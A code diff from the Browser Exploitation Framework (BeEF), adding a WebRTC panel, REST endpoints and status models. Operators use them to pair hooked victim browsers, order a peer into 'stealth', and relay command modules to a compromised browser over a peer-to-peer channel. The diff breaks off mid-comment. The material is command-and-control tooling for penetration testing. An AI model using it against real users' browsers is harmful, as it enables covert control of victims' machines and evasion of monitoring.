+ items:[main_tab, log_tab, commands_tab, requester_tab, xssrays_tab, ipec_tab, autorun_tab, network_tab, rtc_tab],
listeners:{
afterrender:function(component){
// Hide auto-run tab
diff --git a/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js b/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js
index 2f8bb5eeb..6ee60ce30 100644
--- a/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js
+++ b/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js
@@ -32,6 +32,7 @@ var ZombiesMgr = function(zombies_tree_lists) {
var has_quicktime = zombie_array[index]["has_quicktime"];
var has_realplayer = zombie_array[index]["has_realplayer"];
var date_stamp = zombie_array[index]["date_stamp"];
+ var hb_id = zombie_array[index]["hb_id"];
text = "
";
text+= "
";
@@ -75,6 +76,7 @@ var ZombiesMgr = function(zombies_tree_lists) {
this.updateZombies = function(zombies, rules){
var offline_hooked_browsers = zombies["offline"];
var online_hooked_browsers = zombies["online"];
+ beefwui.hooked_browsers = zombies["online"];
for(tree_type in this.zombies_tree_lists) {
hooked_browsers_tree = this.zombies_tree_lists[tree_type];
diff --git a/extensions/admin_ui/media/javascript/ui/panel/common.js b/extensions/admin_ui/media/javascript/ui/panel/common.js
index 3e31f4157..55966f2bb 100644
--- a/extensions/admin_ui/media/javascript/ui/panel/common.js
+++ b/extensions/admin_ui/media/javascript/ui/panel/common.js
@@ -357,7 +357,13 @@ function genNewExploitPanel(panel, command_module_id, command_module_name, zombi
fieldLabel: 'Description',
fieldClass: 'command-module-panel-description',
value: module.Description
- })
+ }),
+ new Ext.form.DisplayField({
+ name: 'command_module_id_visible',
+ fieldLabel: 'Id',
+ fieldClass: 'command-module-panel-description',
+ value: command_module_id
+ })
],
buttons:[{
diff --git a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabRTC.js b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabRTC.js
new file mode 100644
index 000000000..6870cfa5c
--- /dev/null
+++ b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabRTC.js
@@ -0,0 +1,330 @@
+//
+// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/*
+ * The RTC tab panel for the selected zombie browser.
+ * Loaded in /ui/panel/index.html
+ */
+ZombieTab_Rtc = function(zombie) {
+ var zombie_id = beefwui.get_hb_id(zombie.session);
+
+ // The status bar.
+ var commands_statusbar = new Beef_StatusBar('network-bbar-zombie-'+zombie.session);
+ // RESTful API token
+ var token = beefwui.get_rest_token();
+
+ /*
+ * The panel that displays all identified network services grouped by host
+ ********************************************/
+ var rtc_events_panel_store = new Ext.ux.data.PagingJsonStore({
+ storeId: 'rtc-events-store-zombie-'+zombie.session,
+ proxy: new Ext.data.HttpProxy({
+ url: '/api/webrtc/events/'+zombie_id+'?token='+token,
+ method: 'GET'
+ }),
+ remoteSort: false,
+ autoDestroy: true,
+ autoLoad: false,
+ root: 'events',
+ fields: ['id', 'hb_id', 'target_id', 'status', 'created_at', 'updated_at'],
+ sortInfo: {field: 'id', direction: 'ASC'}
+ });
+
+ var req_pagesize = 50;
+
+ var rtc_events_panel_bbar = new Ext.PagingToolbar({
+ pageSize: req_pagesize,
+ store: rtc_events_panel_store,
+ displayInfo: true,
+ displayMsg: 'Displaying RTC events {0} - {1} of {2}',
+ emptyMsg: 'No events to display'
+ });
+
+ var rtc_events_panel_grid = new Ext.grid.GridPanel({
+ id: 'rtc-events-grid-zombie-'+zombie.session,
+ store: rtc_events_panel_store,
+ bbar: rtc_events_panel_bbar,
+ border: false,
+ loadMask: {msg:'Loading events...'},
+
+ viewConfig: {
+ forceFit: true
+ },
+
+ view: new Ext.grid.GridView({
+ forceFit: true,
+ emptyText: "No events",
+ enableRowBody:true
+ }),
+
+ columns: [
+ {header: 'Id', width: 5, sortable: true, dataIndex: 'id', hidden:true},
+ {header: 'From', width: 10, sortable: true, dataIndex: 'hb_id', hidden:true},
+ {header: 'Peer', width: 10, sortable: true, dataIndex: 'target_id', renderer: function(value){
+ if (value === zombie_id) {
+ return $jEncoder.encoder.encodeForHTML(value) + " (selected)";
+ } else {
+ // return $jEncoder.encoder.encodeForHTML(value) + "
(" + beefwui.get_info_from_id(value) + ")";
+ return $jEncoder.encoder.encodeForHTML(value) + " (" + beefwui.get_info_from_id(value)['ip'] + ")";
+ }
+ }},
+ {header: 'Status', width: 20, sortable: true, dataIndex: 'status', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}},
+ {header: 'Created At', width: 10, sortable: true, dataIndex: 'created_at', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}},
+ {header: 'Updated At', width: 10, sortable: true, dataIndex: 'updated_at', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}}
+ ],
+
+ listeners: {
+ contextmenu: function(e, element, options) {
+ e.preventDefault();
+ },
+ containercontextmenu: function(view, e) {
+ e.preventDefault();
+ },
+ rowcontextmenu: function(grid, rowIndex, e) {
+ e.preventDefault();
+ grid.getSelectionModel().selectRow(rowIndex);
+ if (!!grid.rowCtxMenu) {
+ grid.rowCtxMenu.destroy();
+ }
+ var record = grid.selModel.getSelected();
+ if (record.json.status==="Connected") {
+ grid.rowCtxMenu = new Ext.menu.Menu({
+ items: [
+ {
+ text: "Command Peer to Stealth",
+ handler: function() {
+ if (zombie_id === record.json.hb_id) {
+ var url = "/api/webrtc/msg?token=" + beefwui.get_rest_token();
+ Ext.Ajax.request({
+ url: url,
+ method: 'POST',
+ headers: {'Content-Type': 'application/json; charset=UTF-8'},
+ jsonData: {
+ 'from': record.json.hb_id,
+ 'to': record.json.target_id,
+ 'message': "!gostealth"
+ }
+ });
+ } else {
+ var url = "/api/webrtc/msg?token=" + beefwui.get_rest_token();
+ Ext.Ajax.request({
+ url: url,
+ method: 'POST',
+ headers: {'Content-Type': 'application/json; charset=UTF-8'},
+ jsonData: {
+ 'from': record.json.target_id,
+ 'to': record.json.hb_id,
+ 'message': "!gostealth"
+ }
+ });
+ }
+ }
+ },{
+ text: "Execute Command Module via RTC",
+ handler: function() {
+ var url = "/api/webrtc/cmdexec?token=" + beefwui.get_rest_token();
+ var cmd_id = prompt("Enter command module ID:");
+ var cmd_opts = prompt("Parameters:");
+ if (cmd_opts == "") {
+ cmd_opts = "[]";
+ }
+ cmd_opts = JSON.parse(cmd_opts);
+ if (!cmd_id || cmd_id == "") {
+ return;
+ }
+ if (zombie_id === record.json.hb_id) {
+ Ext.Ajax.request({
+ url: url,
+ method: 'POST',
+ headers: {'Content-Type': 'application/json; charset=UTF-8'},
+ jsonData: {
+ 'from': record.json.hb_id,
+ 'to': record.json.target_id,
+ 'cmdid': cmd_id,
+ 'options': cmd_opts
+ }
+ });
+ } else {
+ Ext.Ajax.request({
+ url: url,
+ method: 'POST',
+ headers: {'Content-Type': 'application/json; charset=UTF-8'},
+ jsonData: {
+ 'from': record.json.target_id,
+ 'to': record.json.hb_id,
+ 'cmdid': cmd_id,
+ 'options': cmd_opts
+ }
+ });
+ }
+ }
+ }
+ ]
+ });
+ grid.rowCtxMenu.showAt(e.getXY());
+ } else if (record.json.status==="Stealthed!!") {
+ grid.rowCtxMenu = new Ext.menu.Menu({
+ items: [
+ {
+ text: "Command Peer to un-stealth",
+ handler: function() {
+ if (zombie_id === record.json.hb_id) {
+ var url = "/api/webrtc/msg?token=" + beefwui.get_rest_token();
+ Ext.Ajax.request({
+ url: url,
+ method: 'POST',
+ headers: {'Content-Type': 'application/json; charset=UTF-8'},
+ jsonData: {
+ 'from': record.json.hb_id,
+ 'to': record.json.target_id,
+ 'message': "!endstealth"
+ }
+ });
+ }
+ }
+ },{
+ text: "Execute Command Module via RTC",
+ handler: function() {
+ var url = "/api/webrtc/cmdexec?token=" + beefwui.get_rest_token();
+ var cmd_id = prompt("Enter command module ID:");
+ var cmd_opts = prompt("Parameters:");
+ if (cmd_opts == "") {
+ cmd_opts = "[]";
+ }
+ cmd_opts = JSON.parse(cmd_opts);
+ if (!cmd_id || cmd_id == "") {
+ return;
+ }
+ Ext.Ajax.request({
+ url: url,
+ method: 'POST',
+ headers: {'Content-Type': 'application/json; charset=UTF-8'},
+ jsonData: {
+ 'from': record.json.hb_id,
+ 'to': record.json.target_id,
+ 'cmdid': cmd_id,
+ 'options': cmd_opts
+ }
+ });
+ }
+ }
+ ]
+ });
+ grid.rowCtxMenu.showAt(e.getXY());
+ }
+ },
+ afterrender: function(datagrid) {
+ datagrid.store.reload({params: {nonce: Ext.get("nonce").dom.value}});
+ }
+ }
+
+ });
+
+ var rtc_events_panel = new Ext.Panel({
+ id: 'rtc-events-host-panel-zombie-'+zombie.session,
+ title: 'Peers',
+ items:[rtc_events_panel_grid],
+ layout: 'fit',
+ listeners: {
+ activate: function(hosts_panel) {
+ rtc_events_panel.items.items[0].store.reload({ params: {nonce: Ext.get ("nonce").dom.value} });
+ }
+ }
+ });
+
+ /*
+ * The panel that displays all command modules executed via RTC
+ ********************************************/
+ var rtc_moduleevents_panel_store = new Ext.ux.data.PagingJsonStore({
+ storeId: 'rtc-moduleevents-store-zombie-'+zombie.session,
+ proxy: new Ext.data.HttpProxy({
+ url: '/api/webrtc/cmdevents/'+zombie_id+'?token='+token,
+ method: 'GET'
+ }),
+ remoteSort: false,
+ autoDestroy: true,
+ autoLoad: false,
+ root: 'events',
+ fields: ['id', 'hb_id', 'target_id', 'status', 'created_at', 'updated_at', 'mod'],
+ sortInfo: {field: 'id', direction: 'ASC'}
+ });
+
+ var rtc_moduleevents_panel_bbar = new Ext.PagingToolbar({
+ pageSize: req_pagesize,
+ store: rtc_moduleevents_panel_store,
+ displayInfo: true,
+ displayMsg: 'Displaying RTC command events {0} - {1} of {2}',
+ emptyMsg: 'No events to display'
+ });
+
+ var rtc_moduleevents_panel_grid = new Ext.grid.GridPanel({
+ id: 'rtc-moduleevents-grid-zombie-'+zombie.session,
+ store: rtc_moduleevents_panel_store,
+ bbar: rtc_moduleevents_panel_bbar,
+ border: false,
+ loadMask: {msg:'Loading events...'},
+
+ viewConfig: {
+ forceFit: true
+ },
+
+ view: new Ext.grid.GridView({
+ forceFit: true,
+ emptyText: "No events",
+ enableRowBody:true
+ }),
+
+ columns: [
+ {header: 'Id', width: 5, sortable: true, dataIndex: 'id', hidden:true},
+ {header: 'From', width: 10, sortable: true, dataIndex: 'hb_id', hidden:true},
+ {header: 'Peer', width: 10, sortable: true, dataIndex: 'target_id', renderer: function(value){
+ if (value === zombie_id) {
+ return $jEncoder.encoder.encodeForHTML(value) + " (selected)";
+ } else {
+ return $jEncoder.encoder.encodeForHTML(value) + " (" + beefwui.get_info_from_id(value)['ip'] + ")";
+ }
+ }},
+ {header: 'Module', width: 10, sortable: true, dataIndex: 'mod', renderer: function(value){
+ return $jEncoder.encoder.encodeForHTML(value);
+ }},
+ {header: 'Status', width: 20, sortable: true, dataIndex: 'status', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}},
+ {header: 'Created At', width: 10, sortable: true, dataIndex: 'created_at', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}},
+ {header: 'Updated At', width: 10, sortable: true, dataIndex: 'updated_at', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}}
+ ]
+ });
+
+ var rtc_moduleevents_panel = new Ext.Panel({
+ id: 'rtc-moduleevents-host-panel-zombie-'+zombie.session,
+ title: 'Command module results',
+ items:[rtc_moduleevents_panel_grid],
+ layout: 'fit',
+ listeners: {
+ activate: function(hosts_panel) {
+ rtc_moduleevents_panel.items.items[0].store.reload({ params: {nonce: Ext.get ("nonce").dom.value} });
+ }
+ }
+ });
+ /*
+ * The Network tab constructor
+ ********************************************/
+ ZombieTab_Rtc.superclass.constructor.call(this, {
+ id: 'zombie-rtc-tab-zombie-'+zombie.session,
+ title: 'WebRTC',
+ activeTab: 0,
+ viewConfig: {
+ forceFit: true,
+ stripRows: true,
+ type: 'fit'
+ },
+ items: [rtc_events_panel,rtc_moduleevents_panel],
+ bbar: commands_statusbar,
+ listeners: {
+ }
+ });
+
+};
+
+Ext.extend(ZombieTab_Rtc, Ext.TabPanel, {});
diff --git a/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js b/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js
index 405ef8171..ad14d98eb 100644
--- a/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js
+++ b/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js
@@ -11,6 +11,7 @@ zombiesTreeList = function(id) {
var title = id.slice(0,1).toUpperCase() + id.slice(1);
+
zombiesTreeList.superclass.constructor.call(this, {
id:'zombie-tree-'+id,
region:'west',
@@ -56,6 +57,7 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, {
'sub-branch' : 'domain',
'distributed' : false
},
+
//store the list of online hooked browsers in an array
online_hooked_browsers_array: new Array,
@@ -76,6 +78,15 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, {
id: 'xssrays_hooked_domain',
text: 'Launch XssRays on Hooked Domain',
iconCls: 'zombie-tree-ctxMenu-xssrays'
+ },{
+ id: 'rtc_caller',
+ text: 'Set as WebRTC Caller',
+ iconCls: 'zombie-tree-ctxMenu-rtc'
+ },{
+ id: 'rtc_receiver',
+ text: 'Set as WebRTC Receiver and GO',
+ iconCls: 'zombie-tree-ctxMenu-rtc',
+ activated: false
},{
xtype: 'menuseparator'
},{
@@ -88,7 +99,7 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, {
listeners: {
itemclick: function(item, object) {
var hb_id = this.contextNode.id.split('zombie-online-')[1];
- var hb_id_off = this.contextNode.id.split('zombie-offline-')[1];
+ var hb_id_off = this.contextNode.id.split('zombie-offline-')[1];
switch (item.id) {
case 'use_as_proxy':
Ext.Ajax.request({
@@ -104,19 +115,36 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, {
params: 'hb_id=' + escape(hb_id)
});
break;
+ case 'rtc_caller':
+ beefwui.rtc_caller = hb_id;
+ break;
+ case 'rtc_receiver':
+ beefwui.rtc_receiver = hb_id;
+ var url = "/api/webrtc/go?token=" + beefwui.get_rest_token();
+ Ext.Ajax.request({
+ url: url,
+ method: 'POST',
+ headers: {'Content-Type': 'application/json; charset=UTF-8'},
+ jsonData: {
+ 'from': beefwui.get_hb_id(beefwui.rtc_caller),
+ 'to': beefwui.get_hb_id(beefwui.rtc_receiver),
+ 'verbose': true
+ }
+ });
+ break;
case 'delete_zombie':
- var token = beefwui.get_rest_token();
- var hid = '';
- if (typeof hb_id_off === 'undefined'){
- hid=hb_id;
- }else{
- hid=hb_id_off;
- }
- var url = "/api/hooks/" + escape(hid) + "/delete?token=" + token;
- Ext.Ajax.request({
- url: url,
- method: 'GET'
- });
+ var token = beefwui.get_rest_token();
+ var hid = '';
+ if (typeof hb_id_off === 'undefined'){
+ hid=hb_id;
+ }else{
+ hid=hb_id_off;
+ }
+ var url = "/api/hooks/" + escape(hid) + "/delete?token=" + token;
+ Ext.Ajax.request({
+ url: url,
+ method: 'GET'
+ });
break;
}
}
@@ -126,6 +154,7 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, {
listeners: {
//creates a new hooked browser tab when a hooked browser is clicked
click: function(node, e) {
+ globalnode = node;
if(!node.leaf) return;
mainPanel.remove(mainPanel.getComponent('current-browser'));
@@ -140,8 +169,28 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, {
if(!node.leaf) return;
node.select();
+ // if (typeof(beefwui.rtc_caller) === 'undefined') {
+ // node.getOwnerTree().contextMenu.items.add({
+ // id: 'rtc_caller',
+ // text: 'Set as WebRTC Caller',
+ // iconCls: 'zombie-tree-ctxMenu-xssrays'
+ // });
+ // }
var c = node.getOwnerTree().contextMenu;
c.contextNode = node;
+ if (typeof(beefwui.rtc_caller) === 'undefined') {
+ c.items.get('rtc_receiver').disable();
+ } else if (beefwui.rtc_caller === node.id.substr(-80)) {
+ c.items.get('rtc_receiver').disable();
+ } else {
+ c.items.get('rtc_receiver').enable();
+ }
+
+ // c.items['rtc_receiver'].disable();
+ // c.add({
+ // id: 'rtc_caller',
+ // text: 'Set as WebRTC Caller',
+ // iconCls: 'zombie-tree-ctxMenu-xssrays'});
c.showAt(event.getXY());
},
diff --git a/extensions/webrtc/config.yaml b/extensions/webrtc/config.yaml
index 391c7b165..61f91f23c 100644
--- a/extensions/webrtc/config.yaml
+++ b/extensions/webrtc/config.yaml
@@ -7,7 +7,7 @@ beef:
extension:
webrtc:
name: 'WebRTC'
- enable: false
+ enable: true
authors: ["xntrik"]
stunservers: '["stun:stun.l.google.com:19302","stun:stun1.l.google.com:19302","turn:numb.viagenie.ca:3478"]'
# stunservers: '["stun:stun.l.google.com:19302"]'
diff --git a/extensions/webrtc/extension.rb b/extensions/webrtc/extension.rb
index 14585a343..f8a63f3ca 100644
--- a/extensions/webrtc/extension.rb
+++ b/extensions/webrtc/extension.rb
@@ -19,6 +19,8 @@ end
require 'extensions/webrtc/models/rtcsignal'
require 'extensions/webrtc/models/rtcmanage'
+require 'extensions/webrtc/models/rtcstatus'
+require 'extensions/webrtc/models/rtcmodulestatus'
require 'extensions/webrtc/api/hook'
require 'extensions/webrtc/handlers'
require 'extensions/webrtc/api'
diff --git a/extensions/webrtc/handlers.rb b/extensions/webrtc/handlers.rb
index da5885674..ed0bf4052 100644
--- a/extensions/webrtc/handlers.rb
+++ b/extensions/webrtc/handlers.rb
@@ -88,6 +88,74 @@ module BeEF
# Writes the event into the BeEF Logger
BeEF::Core::Logger.instance.register('WebRTC', "Browser:#{zombie_db.id} received message from Browser:#{peer_zombie_db.id}: #{message}")
+
+ # Perform logic depending on message (updating database)
+ puts "message = '" + message + "'"
+ if (message == "ICE Status: connected")
+ # Find existing status message
+ stat = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => zombie_db.id, :target_hooked_browser_id => peer_zombie_db.id) || nil
+ unless stat.nil?
+ stat.status = "Connected"
+ stat.updated_at = Time.now
+ stat.save
+ end
+ stat2 = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => peer_zombie_db.id, :target_hooked_browser_id => zombie_db.id) || nil
+ unless stat2.nil?
+ stat2.status = "Connected"
+ stat2.updated_at = Time.now
+ stat2.save
+ end
+ elsif (message.end_with?("disconnected"))
+ stat = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => zombie_db.id, :target_hooked_browser_id => peer_zombie_db.id) || nil
+ unless stat.nil?
+ stat.status = "Disconnected"
+ stat.updated_at = Time.now
+ stat.save
+ end
+ stat2 = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => peer_zombie_db.id, :target_hooked_browser_id => zombie_db.id) || nil
+ unless stat2.nil?
+ stat2.status = "Disconnected"
+ stat2.updated_at = Time.now
+ stat2.save
+ end
+ elsif (message == "Stayin alive")
+ stat = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => zombie_db.id, :target_hooked_browser_id => peer_zombie_db.id) || nil
+ unless stat.nil?
+ stat.status = "Stealthed!!"
+ stat.updated_at = Time.now
+ stat.save
+ end
+ stat2 = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => peer_zombie_db.id, :target_hooked_browser_id => zombie_db.id) || nil
+ unless stat2.nil?
+ stat2.status = "Peer-controlled stealth-mode"
+ stat2.updated_at = Time.now
+ stat2.save
+ end
+ elsif (message == "Coming out of stealth...")
+ stat = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => zombie_db.id, :target_hooked_browser_id => peer_zombie_db.id) || nil
+ unless stat.nil?
+ stat.status = "Connected"
+ stat.updated_at = Time.now
+ stat.save
+ end
+ stat2 = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => peer_zombie_db.id, :target_hooked_browser_id => zombie_db.id) || nil
+ unless stat2.nil?
+ stat2.status = "Connected"
+ stat2.updated_at = Time.now
+ stat2.save
+ end
+ elsif (message.start_with?("execcmd"))
+ mod = /\(\/command\/(.*)\.js\)/.match(message)[1]
+ resp = /Result:.(.*)/.match(message)[1]
+ stat = BeEF::Core::Models::Rtcmodulestatus.new(:hooked_browser_id => zombie_db.id,
+ :target_hooked_browser_id => peer_zombie_db.id,
+ :command_module_id => mod,
+ :status => resp,
+ :created_at => Time.now,
+ :updated_at => Time.now)
+ stat.save
+ end
+
end
end
diff --git a/extensions/webrtc/models/rtcmodulestatus.rb b/extensions/webrtc/models/rtcmodulestatus.rb
new file mode 100644
index 000000000..eb9e89bc1
--- /dev/null
+++ b/extensions/webrtc/models/rtcmodulestatus.rb
@@ -0,0 +1,47 @@
+#
+# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+
+module BeEF
+module Core
+module Models
+ #
+ # Table stores the webrtc status information
+ # This includes things like connection status, and executed modules etc
+ #
+
+
+ class Rtcmodulestatus
+
+ include DataMapper::Resource
+
+ storage_names[:default] = 'extension_webrtc_rtcmodulestatus'
+
+ property :id, Serial
+
+ # The hooked browser id
+ property :hooked_browser_id, Text, :lazy => false
+
+ # The hooked browser's IP
+ # property :hooked_browser_ip, Text, :lazy => false
+
+ # The target hooked browser id
+ property :target_hooked_browser_id, Text, :lazy => false
+
+ # The command module ID
+ property :command_module_id, Text, :lazy => false
+
+ # The status field
+ property :status, Text, :lazy => true
+
+ # Timestamps
+ property :created_at, DateTime
+ property :updated_at, DateTime
+
+ end
+
+end
+end
+end
diff --git a/extensions/webrtc/models/rtcstatus.rb b/extensions/webrtc/models/rtcstatus.rb
new file mode 100644
index 000000000..1ded40502
--- /dev/null
+++ b/extensions/webrtc/models/rtcstatus.rb
@@ -0,0 +1,47 @@
+#
+# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+
+module BeEF
+module Core
+module Models
+ #
+ # Table stores the webrtc status information
+ # This includes things like connection status, and executed modules etc
+ #
+
+
+ class Rtcstatus
+
+ include DataMapper::Resource
+
+ storage_names[:default] = 'extension_webrtc_rtcstatus'
+
+ property :id, Serial
+
+ # The hooked browser id
+ property :hooked_browser_id, Text, :lazy => false
+
+ # The hooked browser's IP
+ # property :hooked_browser_ip, Text, :lazy => false
+
+ # The target hooked browser id
+ property :target_hooked_browser_id, Text, :lazy => false
+
+ # The target hooked browser's IP
+ # property :target_hooked_browser_ip, Text, :lazy => false
+
+ # The status field
+ property :status, Text, :lazy => true
+
+ # Timestamps
+ property :created_at, DateTime
+ property :updated_at, DateTime
+
+ end
+
+end
+end
+end
diff --git a/extensions/webrtc/rest/webrtc.rb b/extensions/webrtc/rest/webrtc.rb
index de68a17b9..da48915f1 100644
--- a/extensions/webrtc/rest/webrtc.rb
+++ b/extensions/webrtc/rest/webrtc.rb
@@ -7,7 +7,10 @@ module BeEF
module Extension
module WebRTC
- # This class handles the routing of RESTful API requests that manage the WebRTC Extension
+ require 'base64'
+
+ # This class handles the routing of RESTful API requests that manage the
+ # WebRTC Extension
class WebRTCRest < BeEF::Core::Router::Router
# Filters out bad requests before performing any routing
@@ -26,10 +29,16 @@ module BeEF
#
# @note Initiate two browsers to establish a WebRTC PeerConnection
- # Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log
- # for success messages. For instance: Event: Browser:1 received message from Browser:2: ICE Status: connected
+ # Return success = true if the message has been queued - as this is
+ # asynchronous, you will have to monitor BeEFs event log for success
+ # messages. For instance: Event: Browser:1 received message from
+ # Browser:2: ICE Status: connected
#
- # Input must be specified in JSON format
+ # Alternatively, the new rtcstatus model also records events during
+ # RTC connectivity
+ #
+ # Input must be specified in JSON format (the verbose option is no
+ # longer required as client-debugging uses the beef.debug)
#
# +++ Example: +++
#POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
@@ -82,6 +91,18 @@ module BeEF
result['success'] = true
end
end
+ r = BeEF::Core::Models::Rtcstatus.new(:hooked_browser_id => fromhb.to_i,
+ :target_hooked_browser_id => tohb.to_i,
+ :status => "Initiating..",
+ :created_at => Time.now,
+ :updated_at => Time.now)
+ r.save
+ r2 = BeEF::Core::Models::Rtcstatus.new(:hooked_browser_id => tohb.to_i,
+ :target_hooked_browser_id => fromhb.to_i,
+ :status => "Initiating..",
+ :created_at => Time.now,
+ :updated_at => Time.now)
+ r2.save
else
result['success'] = false
end
@@ -130,6 +151,107 @@ module BeEF
end
end
+ #
+ # @note Get the events from the RTCstatus model of a particular browser
+ # Return JSON with events_count and an array of events
+ #
+ # +++ Example: +++
+ #GET /api/webrtc/events/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
+ #Host: 127.0.0.1:3000
+ #
+ #===response (snip)===
+ #HTTP/1.1 200 OK
+ #Content-Type: application/json; charset=UTF-8
+ #
+ #{"events_count":1,"events":[{"id":2,"hb_id":1,"target_id":2,"status":"Connected","created_at":"timestamp","updated_at":"timestamp"}]}
+ #
+ # +++ Example with curl +++
+ # curl -H "Content-type: application/json; charset=UTF-8" -v
+ # -X GET http://127.0.0.1:3000/api/webrtc/events/1\?token\=df67654b03d030d97018f85f0284247d7f49c348
+ get '/events/:id' do
+ begin
+ id = params[:id]
+
+ events = BeEF::Core::Models::Rtcstatus.all(:hooked_browser_id => id)
+
+ events_json = []
+ count = events.length
+
+ events.each do |event|
+ events_json << {
+ 'id' => event.id.to_i,
+ 'hb_id' => event.hooked_browser_id.to_i,
+ 'target_id' => event.target_hooked_browser_id.to_i,
+ 'status' => event.status.to_s,
+ 'created_at' => event.created_at.to_s,
+ 'updated_at' => event.updated_at.to_s
+ }
+ end
+ {
+ 'events_count' => count,
+ 'events' => events_json
+ }.to_json if not events_json.empty?
+
+ rescue InvalidParamError => e
+ print_error e.message
+ halt 400
+ rescue StandardError => e
+ print_error "Internal error while queuing status message for #{id} (#{e.message})"
+ halt 500
+ end
+ end
+
+ #
+ # @note Get the events from the RTCModuleStatus model of a particular browser
+ # Return JSON with events_count and an array of events associated with command module execute
+ #
+ # +++ Example: +++
+ #GET /api/webrtc/cmdevents/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
+ #Host: 127.0.0.1:3000
+ #
+ #===response (snip)===
+ #HTTP/1.1 200 OK
+ #Content-Type: application/json; charset=UTF-8
+ #
+ #{"events_count":1,"events":[{"id":2,"hb_id":1,"target_id":2,"status":"prompt=blah","mod":200,"created_at":"timestamp","updated_at":"timestamp"}]}
+ #
+ # +++ Example with curl +++
+ # curl -H "Content-type: application/json; charset=UTF-8" -v
+ # -X GET http://127.0.0.1:3000/api/webrtc/cmdevents/1\?token\=df67654b03d030d97018f85f0284247d7f49c348
+ get '/cmdevents/:id' do
+ begin
+ id = params[:id]
+
+ events = BeEF::Core::Models::Rtcmodulestatus.all(:hooked_browser_id => id)
+
+ events_json = []
+ count = events.length
+
+ events.each do |event|
+ events_json << {
+ 'id' => event.id.to_i,
+ 'hb_id' => event.hooked_browser_id.to_i,
+ 'target_id' => event.target_hooked_browser_id.to_i,
+ 'status' => event.status.to_s,
+ 'created_at' => event.created_at.to_s,
+ 'updated_at' => event.updated_at.to_s,
+ 'mod' => event.command_module_id
+ }
+ end
+ {
+ 'events_count' => count,
+ 'events' => events_json
+ }.to_json if not events_json.empty?
+
+ rescue InvalidParamError => e
+ print_error e.message
+ halt 400
+ rescue StandardError => e
+ print_error "Internal error while queuing status message for #{id} (#{e.message})"
+ halt 500
+ end
+ end
+
#
# @note Instruct a browser to send an RTC DataChannel message to one of its peers
# Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log
@@ -170,6 +292,21 @@ module BeEF
tohb = body['to']
message = body['message']
+ if message === "!gostealth"
+ stat = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => fromhb.to_i, :target_hooked_browser_id => tohb.to_i) || nil
+ unless stat.nil?
+ stat.status = "Selected browser has commanded peer to enter stealth"
+ stat.updated_at = Time.now
+ stat.save
+ end
+ stat2 = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => tohb.to_i, :target_hooked_browser_id => fromhb.to_i) || nil
+ unless stat2.nil?
+ stat2.status = "Peer has commanded selected browser to enter stealth"
+ stat2.updated_at = Time.now
+ stat2.save
+ end
+ end
+
result = {}
unless [fromhb,tohb,message].include?(nil)
@@ -185,12 +322,137 @@ module BeEF
print_error e.message
halt 400
rescue StandardError => e
- print_error "Internal error while queuing message for #{id} (#{e.message})"
+ print_error "Internal error while queuing message (#{e.message})"
halt 500
end
end
+ #
+ # @note Instruct a browser to send an RTC DataChannel message to one of its peers
+ # In this instance, the message is a Base64d encoded JS command
+ # which has the beef.net.send statements re-written
+ # Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log
+ # for success messages, IF ANY.
+ # Commands are written back to the rtcmodulestatus model
+ #
+ # Input must be specified in JSON format
+ #
+ # +++ Example: +++
+ #POST /api/webrtc/cmdexec?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
+ #Host: 127.0.0.1:3000
+ #Content-Type: application/json; charset=UTF-8
+ #
+ #{"from":1, "to":2, "cmdid":120, "options":[{"name":"option_name","value":"option_value"}]}
+ #===response (snip)===
+ #HTTP/1.1 200 OK
+ #Content-Type: application/json; charset=UTF-8
+ #
+ #{"success":"true"}
+ #
+ # +++ Example with curl +++
+ # curl -H "Content-type: application/json; charset=UTF-8" -v
+ # -X POST -d '{"from":1, "to":2, "cmdid":120, "options":[{"name":"option_name","value":"option_value"}]}'
